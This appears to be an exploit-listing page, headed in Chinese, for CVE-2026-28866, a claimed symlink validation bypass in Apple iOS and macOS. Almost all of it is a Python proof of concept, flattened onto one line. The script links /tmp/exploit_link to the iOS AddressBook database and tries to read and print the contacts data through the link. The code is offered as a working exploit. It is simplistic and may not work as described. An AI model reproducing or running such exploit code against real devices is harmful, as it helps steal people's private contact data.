CVE-2026-28866 Apple系统符号链接验证绕过漏洞

import os # Proof of Concept for CVE-2026-28866 (Symlink Validation Bypass) # This script demonstrates how a malicious app might attempt to access sensitive data # by exploiting improper symlink validation on affected iOS/macOS versions. SENSITIVE_FILE = "/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb" MALICIOUS_LINK = "/tmp/exploit_link" def exploit(): try: # Step 1: Create a symbolic link pointing to a sensitive file # In a real scenario, this would be done within the malicious app's container # attempting to link to a system or other app's data. if not os.path.exists(MALICIOUS_LINK): os.symlink(SENSITIVE_FILE, MALICIOUS_LINK) print(f"[+] Symlink created: {MALICIOUS_LINK} -> {SENSITIVE_FILE}") # Step 2: Attempt to read data through the symlink # If validation is bypassed, the OS allows reading the restricted file. with open(MALICIOUS_LINK, 'rb') as f: data = f.read(1024) # Read first 1KB if data: print("[!] Successfully read sensitive data via symlink bypass!") print(f"[+] Data preview: {data[:50]}...") return True else: print("[-] File is empty or read failed.") return False except PermissionError: print("[-] Permission denied: Patch may be applied or permissions are strict.") return False except FileNotFoundError: print("[-] Target file not found (Path may be different on specific versions).") return False except Exception as e: print(f"[-] An error occurred: {e}") return False if __name__ == "__main__": print(f"[*] Attempting exploit for CVE-2026-28866...") exploit()